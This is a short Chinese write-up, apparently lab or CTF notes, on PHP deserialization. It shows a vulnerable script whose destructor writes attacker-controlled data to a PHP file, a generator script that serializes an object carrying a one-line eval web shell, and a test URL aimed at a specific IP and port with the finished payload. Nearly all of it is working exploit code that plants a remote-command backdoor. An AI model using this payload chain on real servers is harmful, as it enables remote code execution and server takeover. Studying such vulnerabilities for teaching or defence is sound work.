反序列化
漏洞代码
<?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(__FILE__));
class example
{
var $var='123';
function __destruct(){
$fb = fopen('./php.php','w');
fwrite($fb, $this->var);
fclose($fb);
}
}
$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>
写一个php的脚本,执行得到一串序列化后字符串,生成的代码是不会在浏览器直接显示的,需要查看源码才能看到完整内容。
<?php
class example
{
var $var='<?php @eval($_POST[pass]);?>';//一句话木马
}
$a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
echo serialize($a);//输出序列化后的结果
?>
测试方法
http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}